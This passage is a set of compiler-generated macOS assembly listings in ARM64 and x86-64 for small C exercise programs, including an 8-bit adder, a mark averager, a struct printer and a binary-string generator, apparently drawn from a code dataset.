str w8, [sp, #48]
ldur w8, [x29, #-16]
ldur w9, [x29, #-48]
and w8, w8, w9
str w8, [sp, #44]
ldr w8, [sp, #44]
str w8, [sp, #40]
ldur w8, [x29, #-12]
ldur w9, [x29, #-44]
eor w8, w8, w9
str w8, [sp, #36]
ldur w8, [x29, #-12]
ldur w9, [x29, #-44]
and w8, w8, w9
str w8, [sp, #32]
ldr w8, [sp, #36]
ldr w9, [sp, #40]
and w8, w8, w9
str w8, [sp, #28]
ldr w8, [sp, #36]
ldr w9, [sp, #40]
eor w8, w8, w9
str w8, [sp, #24]
ldr w8, [sp, #32]
ldr w9, [sp, #28]
orr w8, w8, w9
str w8, [sp, #20]
ldr w8, [sp, #20]
and w8, w8, #0x1
lsr w9, w8, #0
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldur w8, [x29, #-24]
and w8, w8, #0x1
lsl w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #60]
and w8, w8, #0x1
lsl w9, w8, #2
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #36]
and w8, w8, #0x1
lsl w9, w8, #3
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #52]
and w8, w8, #0x1
lsl w9, w8, #4
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #56]
and w8, w8, #0x1
lsl w9, w8, #5
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #48]
and w8, w8, #0x1
lsl w9, w8, #6
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #24]
and w8, w8, #0x1
lsl w9, w8, #7
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr w8, [sp, #20]
and w8, w8, #0x1
lsl w9, w8, #8
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
ldr x8, [sp, #64]
orr x8, x8, x9
str x8, [sp, #64]
ldr x8, [sp, #64]
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
ldr x0, [sp, #8] ; 8-byte Folded Reload
ldp x29, x30, [sp, #160] ; 16-byte Folded Reload
add sp, sp, #176
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _add8u_0AX ## -- Begin function add8u_0AX
.p2align 4, 0x90
_add8u_0AX: ## @add8u_0AX
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -88(%rbp)
movq %rsi, -96(%rbp)
movq $0, -104(%rbp)
movq -88(%rbp), %rax
shrq $0, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -48(%rbp)
movq -96(%rbp), %rax
shrq $0, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -80(%rbp)
movq -88(%rbp), %rax
shrq $1, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -44(%rbp)
movq -96(%rbp), %rax
shrq $1, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -76(%rbp)
movq -88(%rbp), %rax
shrq $2, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -40(%rbp)
movq -96(%rbp), %rax
shrq $2, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -72(%rbp)
movq -88(%rbp), %rax
shrq $3, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -36(%rbp)
movq -96(%rbp), %rax
shrq $3, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -68(%rbp)
movq -88(%rbp), %rax
shrq $4, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -32(%rbp)
movq -96(%rbp), %rax
shrq $4, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -64(%rbp)
movq -88(%rbp), %rax
shrq $5, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
movq -96(%rbp), %rax
shrq $5, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -60(%rbp)
movq -88(%rbp), %rax
shrq $6, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -24(%rbp)
movq -96(%rbp), %rax
shrq $6, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -56(%rbp)
movq -88(%rbp), %rax
shrq $7, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -20(%rbp)
movq -96(%rbp), %rax
shrq $7, %rax
andq $1, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -52(%rbp)
movl $0, -108(%rbp)
movl $-1, -112(%rbp)
movl $-1, -116(%rbp)
movl -56(%rbp), %eax
xorl -24(%rbp), %eax
movl %eax, -120(%rbp)
movl -24(%rbp), %eax
andl -56(%rbp), %eax
movl %eax, -124(%rbp)
movl -124(%rbp), %eax
movl %eax, -128(%rbp)
movl -20(%rbp), %eax
xorl -52(%rbp), %eax
movl %eax, -132(%rbp)
movl -20(%rbp), %eax
andl -52(%rbp), %eax
movl %eax, -136(%rbp)
movl -132(%rbp), %eax
andl -128(%rbp), %eax
movl %eax, -140(%rbp)
movl -132(%rbp), %eax
xorl -128(%rbp), %eax
movl %eax, -144(%rbp)
movl -136(%rbp), %eax
orl -140(%rbp), %eax
movl %eax, -148(%rbp)
movl -148(%rbp), %eax
andl $1, %eax
shll $0, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -32(%rbp), %eax
andl $1, %eax
shll $1, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -108(%rbp), %eax
andl $1, %eax
shll $2, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -132(%rbp), %eax
andl $1, %eax
shll $3, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -116(%rbp), %eax
andl $1, %eax
shll $4, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -112(%rbp), %eax
andl $1, %eax
shll $5, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -120(%rbp), %eax
andl $1, %eax
shll $6, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -144(%rbp), %eax
andl $1, %eax
shll $7, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movl -148(%rbp), %eax
andl $1, %eax
shll $8, %eax
cltq
orq -104(%rbp), %rax
movq %rax, -104(%rbp)
movq -104(%rbp), %rax
movq %rax, -160(%rbp) ## 8-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
movq -160(%rbp), %rax ## 8-byte Reload
addq $160, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/22014000.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #24] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur wzr, [x29, #-16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
sub x8, x29, #12
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w8, w8, w9
stur w8, [x29, #-16]
ldur s1, [x29, #-16]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
fmov d1, #2.00000000
fdiv d0, d0, d1
fcvt s0, d0
stur s0, [x29, #-20]
ldur w9, [x29, #-16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur s0, [x29, #-20]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w0, [sp, #24] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the mark1 and mark 2 : "
l_.str.1: ; @.str.1
.asciz "%d %d"
l_.str.2: ; @.str.2
.asciz "Sum is %d\n"
l_.str.3: ; @.str.3
.asciz "Average is %.2f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $0, -16(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
leaq -12(%rbp), %rdx
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -16(%rbp)
cvtsi2sdl -16(%rbp), %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -20(%rbp)
movl -16(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the mark1 and mark 2 : "
L_.str.1: ## @.str.1
.asciz "%d %d"
L_.str.2: ## @.str.2
.asciz "Sum is %d\n"
L_.str.3: ## @.str.3
.asciz "Average is %.2f\n"
.subsections_via_symbols
| the_stack_data/120574.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
add x0, sp, #40
strb wzr, [sp, #48]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp, #40]
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #56]
add x8, sp, #16
str x8, [sp] ; 8-byte Folded Spill
mov w8, #1
strb w8, [sp, #24]
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
str x8, [sp, #16]
mov w8, #1
str w8, [sp, #32]
bl _display_player
ldr x0, [sp] ; 8-byte Folded Reload
bl _display_player
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _display_player ; -- Begin function display_player
.p2align 2
_display_player: ; @display_player
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldrb w8, [x8, #8]
tbz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #8]
ldr w9, [x8, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB1_3
LBB1_2:
ldr x8, [sp, #8]
ldr x8, [x8, #16]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB1_3
LBB1_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Kevin"
l_.str.1: ; @.str.1
.asciz "Introspective"
l_.str.2: ; @.str.2
.asciz "D351DA"
l_.str.3: ; @.str.3
.asciz "name: %s\n"
l_.str.4: ; @.str.4
.asciz "firmware_version: %d\n"
l_.str.5: ; @.str.5
.asciz "personality: %s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movb $0, -32(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -40(%rbp)
leaq L_.str.1(%rip), %rax
movq %rax, -24(%rbp)
movb $1, -56(%rbp)
leaq L_.str.2(%rip), %rax
movq %rax, -64(%rbp)
movl $1, -48(%rbp)
leaq -40(%rbp), %rdi
callq _display_player
leaq -64(%rbp), %rdi
callq _display_player
xorl %eax, %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _display_player ## -- Begin function display_player
.p2align 4, 0x90
_display_player: ## @display_player
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
testb $1, 8(%rax)
je LBB1_2
## %bb.1:
movq -8(%rbp), %rax
movl 16(%rax), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB1_3
LBB1_2:
movq -8(%rbp), %rax
movq 16(%rax), %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB1_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Kevin"
L_.str.1: ## @.str.1
.asciz "Introspective"
L_.str.2: ## @.str.2
.asciz "D351DA"
L_.str.3: ## @.str.3
.asciz "name: %s\n"
L_.str.4: ## @.str.4
.asciz "firmware_version: %d\n"
L_.str.5: ## @.str.5
.asciz "personality: %s\n"
.subsections_via_symbols
| the_stack_data/130583.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fill ; -- Begin function fill
.p2align 2
_fill: ; @fill
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str w2, [sp, #16]
ldur w8, [x29, #-12]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x8, [x29, #-8]
ldrsw x9, [sp, #16]
add x8, x8, x9
strb wzr, [x8]
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_5
LBB0_2:
ldur x8, [x29, #-8]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #48
strb w8, [x9]
ldur x0, [x29, #-8]
ldur w8, [x29, #-12]
add w1, w8, #1
ldr w2, [sp, #16]
bl _fill
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur x8, [x29, #-8]
ldur w9, [x29, #-12]
subs w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #49
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldur x8, [x29, #-8]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #49
strb w8, [x9]
ldur x0, [x29, #-8]
ldur w8, [x29, #-12]
add w1, w8, #1
ldr w2, [sp, #16]
bl _fill
b LBB0_5
LBB0_5:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #64
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
mov w8, #0
stur w8, [x29, #-52] ; 4-byte Folded Spill
stur wzr, [x29, #-12]
sub sp, sp, #16
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur w1, [x29, #-52] ; 4-byte Folded Reload
add sp, sp, #16
ldur w8, [x29, #-16]
add w8, w8, #1
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-24]
lsr x9, x8, #0
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-48] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-48] ; 8-byte Folded Reload
mov x9, sp
subs x0, x9, x10
mov sp, x0
stur x8, [x29, #-32]
ldur w2, [x29, #-16]
bl _fill
stur wzr, [x29, #-12]
ldur x8, [x29, #-24]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-36] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl ___stack_chk_fail
LBB1_2:
ldur w0, [x29, #-36] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
l_.str.1: ; @.str.1
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fill ## -- Begin function fill
.p2align 4, 0x90
_fill: ## @fill
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl -12(%rbp), %eax
cmpl -16(%rbp), %eax
jne LBB0_2
## %bb.1:
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_5
LBB0_2:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movb $48, (%rax,%rcx)
movq -8(%rbp), %rdi
movl -12(%rbp), %esi
addl $1, %esi
movl -16(%rbp), %edx
callq _fill
cmpl $0, -12(%rbp)
je LBB0_4
## %bb.3:
movq -8(%rbp), %rax
movl -12(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $49, %eax
je LBB0_5
LBB0_4:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movb $49, (%rax,%rcx)
movq -8(%rbp), %rdi
movl -12(%rbp), %esi
addl $1, %esi
movl -16(%rbp), %edx
callq _fill
LBB0_5:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -16(%rbp), %rsi
callq _scanf
movl -16(%rbp), %eax
incl %eax
## kill: def $rax killed $eax
movq %rax, -48(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -24(%rbp)
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -48(%rbp), %rax ## 8-byte Reload
movq %rsp, %rdi
movq %rax, -32(%rbp)
movl -16(%rbp), %edx
xorl %esi, %esi
callq _fill
movl $0, -12(%rbp)
movq -24(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -36(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_2
## %bb.1:
movl -36(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
L_.str.1: ## @.str.1
.asciz "%d"
.subsections_via_symbols
| the_stack_data/106856.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #80
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
sub sp, sp, #16
mov x9, sp
sub x8, x29, #24
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
ldur w8, [x29, #-24]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-48]
lsl x9, x8, #3
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-72] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-72] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-64] ; 8-byte Folded Spill
stur x8, [x29, #-56]
stur wzr, [x29, #-16]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_18 Depth 2
; Child Loop BB0_9 Depth 2
ldur w8, [x29, #-16]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_28
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-20]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-20]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldur x8, [x29, #-64] ; 8-byte Folded Reload
ldursw x9, [x29, #-16]
add x8, x8, x9, lsl #3
ldursw x9, [x29, #-20]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldursw x8, [x29, #-16]
lsl x8, x8, #3
ldr w8, [x9, x8]
ldursw x10, [x29, #-16]
add x9, x9, x10, lsl #3
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_15
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldursw x8, [x29, #-16]
lsl x8, x8, #3
ldr w8, [x9, x8]
ldursw x10, [x29, #-16]
add x9, x9, x10, lsl #3
ldr w9, [x9, #4]
subs w8, w8, w9
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_15
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-64] ; 8-byte Folded Reload
stur wzr, [x29, #-28]
ldursw x9, [x29, #-16]
add x8, x8, x9, lsl #3
ldr w8, [x8, #4]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB0_9
LBB0_9: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldur w8, [x29, #-36]
ldursw x10, [x29, #-16]
lsl x10, x10, #3
ldr w9, [x9, x10]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=2
ldur w8, [x29, #-36]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_9 Depth=2
ldur w8, [x29, #-28]
ldur w9, [x29, #-36]
add w8, w8, w9
stur w8, [x29, #-28]
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_9 Depth=2
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_9 Depth=2
ldur w8, [x29, #-36]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB0_9
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-28]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add sp, sp, #16
b LBB0_26
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldursw x8, [x29, #-16]
lsl x8, x8, #3
ldr w8, [x9, x8]
ldursw x10, [x29, #-16]
add x9, x9, x10, lsl #3
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_24
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-64] ; 8-byte Folded Reload
ldursw x10, [x29, #-16]
mov x8, x9
